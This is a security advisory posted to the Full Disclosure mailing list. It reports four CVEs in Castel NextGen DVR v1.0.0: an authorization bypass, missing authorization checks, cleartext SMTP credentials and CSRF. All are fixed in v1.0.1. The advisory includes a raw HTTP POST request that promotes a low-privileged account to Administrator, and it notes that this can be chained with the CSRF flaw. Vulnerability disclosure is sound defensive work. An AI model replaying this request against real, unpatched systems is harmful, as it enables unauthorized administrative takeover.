Castel NextGen DVR multiple CVEs

From: Aaron Bishop <aaron () securitymetrics com>
Date: Wed, 3 Jun 2020 16:48:28 -0600

```
All issues are associated with *Castel NextGen DVR v1.0.0 *and have been
resolved in v1.0.1*.*

-------------------------------
*CVE-2020-11679
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11679>*


*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass

*Description*
A low privileged user can call functionality reserved for an Administrator
which promotes a low privileged account to the Administrator role:

POST /Administration/Users/Edit/:ID HTTP/1.1
|  Host: $RHOST
|  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
|  Firefox/52.0
|  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|  Accept-Language: en-US,en;q=0.5
|  Accept-Encoding: gzip, deflate
|  Cookie: $REVIEWER_COOKIES
|  DNT: 1
|  Connection: close
|  Upgrade-Insecure-Requests: 1
|  Content-Type: application/x-www-form-urlencoded
|  Content-Length: 349


|  UserId=:ID&Email=bypass%40test.com
|  &FirstName=bypass&LastName=bypass&LDAPUser=false
|
|  &Roles%5B0%5D.RoleId=1&Roles%5B0%5D.IsSelected=true&Roles%5B0%5D.IsSelected=false
|
|  &Roles%5B1%5D.RoleId=3&Roles%5B1%5D.IsSelected=true&Roles%5B1%5D.IsSelected=false
|
|  &Roles%5B2%5D.RoleId=5&Roles%5B2%5D.IsSelected=true&Roles%5B2%5D.IsSelected=false
|  &Locked=false

-------------------------------
*CVE-2020-11680
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11680>*

*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass

*Description*
The application does not perform an authorization check before
functionality is performed.  Low privileged users are prevented from
browsing to pages that perform Administrator functionality using GET,
however, functionality can be performed by directly crafting the associated
POST request.   This can be exploited to modify user accounts, modify the
application, etc.  Combined with the reported CSRF, CVE-2020-11682, any
user of the application can be used to grant Administrator access to a
malicious user.
-------------------------------
*CVE-2020-11681
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11681>*

*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass

*Description*
Credentials are returned in cleartext in the source of the SMTP page.  If a
malicious user compromises an account. or exploits the CSRF to gain access
to the application,  the associated SMTP server/account could also be
compromised.
-------------------------------
*CVE-2020-11682
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11682>*

*Original Disclosure*
https://www.securitymetrics.com/blog/where-did-request-come-from-cross-site-request-forgery-csrf

*Description*
The application does not properly prevent CSRF; the
__RequestVerificationToken, which is included with state changing requests,
is not verified by the application - requests are successful even when the
token is removed.

AARON BISHOP | Principal Penetration Tester CISSP, OSCP, OSWE [image:
SecurityMetrics]


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
```

Current thread:

Castel NextGen DVR multiple CVEs ***Aaron Bishop (Jun 05)***